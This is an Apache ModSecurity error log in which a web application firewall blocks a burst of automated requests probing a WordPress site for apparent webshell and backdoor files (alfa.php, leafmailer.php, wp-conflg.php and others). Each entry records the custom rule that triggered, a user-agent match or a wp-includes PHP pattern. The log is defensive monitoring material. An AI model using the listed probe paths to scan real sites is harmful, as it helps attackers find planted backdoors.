[Thu Nov 20 21:42:10.470140 2025] [:error] [pid 40537:tid 40546] [client 185.223.152.224:35297] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/bk/index.php"] [unique_id "aR8asqKlsL5kxTa3c1wAwgAAAsU"]
[Thu Nov 20 21:42:11.118243 2025] [:error] [pid 40537:tid 40561] [client 185.223.152.216:49277] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/log.php"] [unique_id "aR8as6KlsL5kxTa3c1wAwwAAAtQ"]
[Thu Nov 20 21:42:11.765192 2025] [:error] [pid 55340:tid 55351] [client 185.223.152.208:54939] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/navigation/index.php"] [unique_id "aR8as_OxD-NeMydTybC_TAAAAAY"]
[Thu Nov 20 21:42:12.412833 2025] [:error] [pid 55342:tid 55382] [client 185.223.152.6:32739] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/"] [unique_id "aR8atLg6x32Tvk7fIG8DeAAAAEo"]
[Thu Nov 20 21:42:13.060564 2025] [:error] [pid 55342:tid 55376] [client 185.223.152.214:40485] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/"] [unique_id "aR8atbg6x32Tvk7fIG8DegAAAEQ"]
[Thu Nov 20 21:42:13.708225 2025] [:error] [pid 40445:tid 40499] [client 185.223.152.210:57381] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/post.php"] [unique_id "aR8atVH-MuFcoWRjXpaYfgAAAlg"]
[Thu Nov 20 21:42:14.356606 2025] [:error] [pid 55342:tid 55388] [client 185.223.152.209:36571] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/radio.php"] [unique_id "aR8atrg6x32Tvk7fIG8DfQAAAFA"]
[Thu Nov 20 21:42:15.004470 2025] [:error] [pid 34405:tid 34430] [client 185.223.152.8:58231] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/contact.php"] [unique_id "aR8atzFpvu8oRK7ATftBKwAAARc"]
[Thu Nov 20 21:42:15.651589 2025] [:error] [pid 40445:tid 40489] [client 185.223.152.208:45851] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aR8at1H-MuFcoWRjXpaYgAAAAk4"]
[Thu Nov 20 21:42:17.859982 2025] [:error] [pid 40636:tid 40642] [client 185.223.152.225:55981] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/error.php"] [unique_id "aR8auQK8BWUoW3xq0HAs_AAAA4I"]
[Thu Nov 20 21:42:18.507756 2025] [:error] [pid 55340:tid 55369] [client 185.223.152.215:50517] [client 185.223.152.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/lib/"] [unique_id "aR8auvOxD-NeMydTybC_TwAAABg"]
[Thu Nov 20 21:42:19.154586 2025] [:error] [pid 40508:tid 40522] [client 185.223.152.219:36291] [client 185.223.152.219] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/endpoints/"] [unique_id "aR8au6xXNVCMW_ksxPvgcAAAAow"]
[Thu Nov 20 21:42:19.802660 2025] [:error] [pid 55342:tid 55381] [client 185.223.152.209:57525] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aR8au7g6x32Tvk7fIG8DgAAAAEk"]
[Thu Nov 20 21:42:20.449395 2025] [:error] [pid 40636:tid 40647] [client 185.223.152.205:34419] [client 185.223.152.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/leafmailer.php"] [unique_id "aR8avAK8BWUoW3xq0HAs_QAAA4c"]
[Thu Nov 20 21:42:21.109442 2025] [:error] [pid 55430:tid 55435] [client 185.223.152.210:21319] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/byp.php"] [unique_id "aR8avfPZXaIMEU4pE7shRgAAAMI"]
[Thu Nov 20 21:42:21.759379 2025] [:error] [pid 40445:tid 40489] [client 185.223.152.210:59629] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/search/"] [unique_id "aR8avVH-MuFcoWRjXpaYlAAAAk4"]
[Thu Nov 20 21:42:22.406450 2025] [:error] [pid 40445:tid 40487] [client 185.223.152.8:27509] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aR8avlH-MuFcoWRjXpaYlwAAAkw"]
[Thu Nov 20 21:42:23.062357 2025] [:error] [pid 34405:tid 34409] [client 185.223.152.215:60341] [client 185.223.152.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/images/index.php"] [unique_id "aR8avzFpvu8oRK7ATftBMAAAAQI"]
[Thu Nov 20 21:42:23.708280 2025] [:error] [pid 40445:tid 40499] [client 185.223.152.214:60277] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/update/function.php"] [unique_id "aR8av1H-MuFcoWRjXpaYmwAAAlg"]
[Thu Nov 20 21:42:24.355666 2025] [:error] [pid 40445:tid 40497] [client 185.223.152.223:29391] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/assets/"] [unique_id "aR8awFH-MuFcoWRjXpaYnAAAAlY"]
[Thu Nov 20 21:42:25.004216 2025] [:error] [pid 40445:tid 40486] [client 185.223.152.205:49235] [client 185.223.152.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "aR8awVH-MuFcoWRjXpaYnQAAAks"]
[Thu Nov 20 21:42:25.651435 2025] [:error] [pid 40636:tid 40652] [client 185.223.152.7:25935] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aR8awQK8BWUoW3xq0HAtAAAAA4w"]
[Thu Nov 20 21:42:26.301400 2025] [:error] [pid 55342:tid 55388] [client 185.223.152.213:61089] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/upload/"] [unique_id "aR8awrg6x32Tvk7fIG8DhgAAAFA"]
[Thu Nov 20 21:42:26.947952 2025] [:error] [pid 55430:tid 55455] [client 185.223.152.204:57883] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/function/function.php"] [unique_id "aR8awvPZXaIMEU4pE7shTAAAANY"]
[Thu Nov 20 21:42:27.596793 2025] [:error] [pid 40636:tid 40662] [client 185.223.152.218:33333] [client 185.223.152.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "aR8awwK8BWUoW3xq0HAtAwAAA5Y"]
[Thu Nov 20 21:42:28.244260 2025] [:error] [pid 55342:tid 55375] [client 185.223.152.226:38919] [client 185.223.152.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "aR8axLg6x32Tvk7fIG8DhwAAAEM"]
[Thu Nov 20 21:42:28.893092 2025] [:error] [pid 40445:tid 40487] [client 185.223.152.221:49747] [client 185.223.152.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/includes/about.php"] [unique_id "aR8axFH-MuFcoWRjXpaYoAAAAkw"]
[Thu Nov 20 21:42:29.543726 2025] [:error] [pid 34405:tid 34420] [client 185.223.152.209:48757] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "aR8axTFpvu8oRK7ATftBNAAAAQ0"]
[Thu Nov 20 21:42:30.191438 2025] [:error] [pid 34405:tid 34416] [client 185.223.152.6:39741] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aR8axjFpvu8oRK7ATftBNQAAAQk"]
[Thu Nov 20 21:42:30.995660 2025] [:error] [pid 40508:tid 40521] [client 185.223.152.227:45125] [client 185.223.152.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/wp-login.php"] [unique_id "aR8axqxXNVCMW_ksxPvgewAAAos"]
[Thu Nov 20 21:42:31.643659 2025] [:error] [pid 55340:tid 55366] [client 185.223.152.213:57851] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aR8ax_OxD-NeMydTybC_VgAAABU"]
[Thu Nov 20 21:42:32.290252 2025] [:error] [pid 55342:tid 55380] [client 185.223.152.7:33359] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aR8ayLg6x32Tvk7fIG8DigAAAEg"]
[Thu Nov 20 21:42:32.938257 2025] [:error] [pid 34405:tid 34410] [client 185.223.152.222:44753] [client 185.223.152.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aR8ayDFpvu8oRK7ATftBOQAAAQM"]
[Thu Nov 20 21:42:33.586344 2025] [:error] [pid 40537:tid 40557] [client 185.223.152.223:42425] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/about.php"] [unique_id "aR8ayaKlsL5kxTa3c1wA1wAAAtA"]
[Thu Nov 20 21:42:34.234050 2025] [:error] [pid 55343:tid 55417] [client 185.223.152.214:42847] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/themes/"] [unique_id "aR8aylWlO3EnyVMV7w7SJgAAAJI"]
[Thu Nov 20 21:42:34.880194 2025] [:error] [pid 40445:tid 40476] [client 185.223.152.223:65155] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aR8aylH-MuFcoWRjXpaYpQAAAkE"]
[Thu Nov 20 21:42:35.529000 2025] [:error] [pid 55342:tid 55393] [client 185.223.152.8:30007] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/function.php"] [unique_id "aR8ay7g6x32Tvk7fIG8DjQAAAFU"]
[Thu Nov 20 21:42:36.176539 2025] [:error] [pid 40508:tid 40512] [client 185.223.152.7:56747] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aR8azKxXNVCMW_ksxPvgfQAAAoI"]
[Thu Nov 20 21:42:36.828996 2025] [:error] [pid 40415:tid 40427] [client 185.223.152.206:24365] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/chosen/function.php"] [unique_id "aR8azKhjIyLSv09svwPQ9gAAAck"]
[Thu Nov 20 21:42:37.476474 2025] [:error] [pid 40415:tid 40438] [client 185.223.152.6:28661] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/alfa.php"] [unique_id "aR8azahjIyLSv09svwPQ-AAAAdQ"]
[Thu Nov 20 21:42:38.123423 2025] [:error] [pid 40537:tid 40563] [client 185.223.152.223:45191] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aR8azqKlsL5kxTa3c1wA2AAAAtY"]
[Thu Nov 20 21:42:38.771816 2025] [:error] [pid 40636:tid 40651] [client 185.223.152.220:20759] [client 185.223.152.220] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aR8azgK8BWUoW3xq0HAtDAAAA4s"]
[Thu Nov 20 21:42:39.418121 2025] [:error] [pid 40636:tid 40663] [client 185.223.152.8:60407] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/item.php"] [unique_id "aR8azwK8BWUoW3xq0HAtDgAAA5c"]
[Thu Nov 20 21:42:40.064808 2025] [:error] [pid 34405:tid 34418] [client 185.223.152.208:22389] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/index.php"] [unique_id "aR8a0DFpvu8oRK7ATftBPAAAAQs"]
[Thu Nov 20 21:42:40.714478 2025] [:error] [pid 55340:tid 55363] [client 185.223.152.206:27899] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/include.php"] [unique_id "aR8a0POxD-NeMydTybC_WAAAABI"]
[Thu Nov 20 21:42:41.361336 2025] [:error] [pid 40537:tid 40549] [client 185.223.152.225:34629] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/user/index.php"] [unique_id "aR8a0aKlsL5kxTa3c1wA2QAAAsg"]
[Thu Nov 20 21:42:42.008503 2025] [:error] [pid 40508:tid 40515] [client 185.223.152.210:45715] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/fonts/beiruti/index.php"] [unique_id "aR8a0qxXNVCMW_ksxPvggAAAAoU"]
[Thu Nov 20 21:42:42.655146 2025] [:error] [pid 40445:tid 40488] [client 185.223.152.215:58013] [client 185.223.152.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/plugins/wp-login.php"] [unique_id "aR8a0lH-MuFcoWRjXpaYqgAAAk0"]
[Thu Nov 20 21:42:43.301814 2025] [:error] [pid 55430:tid 55454] [client 185.223.152.215:62353] [client 185.223.152.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "aR8a0_PZXaIMEU4pE7shTQAAANU"]
[Thu Nov 20 21:42:43.949805 2025] [:error] [pid 40636:tid 40647] [client 185.223.152.220:46101] [client 185.223.152.220] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/xmrlpc.php"] [unique_id "aR8a0wK8BWUoW3xq0HAtEQAAA4c"]
[Thu Nov 20 21:42:44.612495 2025] [:error] [pid 55343:tid 55421] [client 185.223.152.6:44235] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfour/patterns/wp-good.php"] [unique_id "aR8a1FWlO3EnyVMV7w7SKwAAAJY"]
[Thu Nov 20 21:42:45.258617 2025] [:error] [pid 40415:tid 40429] [client 185.223.152.206:61615] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aR8a1ahjIyLSv09svwPQ-wAAAcs"]
[Thu Nov 20 21:42:45.906730 2025] [:error] [pid 55340:tid 55358] [client 185.223.152.213:22555] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/admin.php"] [unique_id "aR8a1fOxD-NeMydTybC_WgAAAA0"]
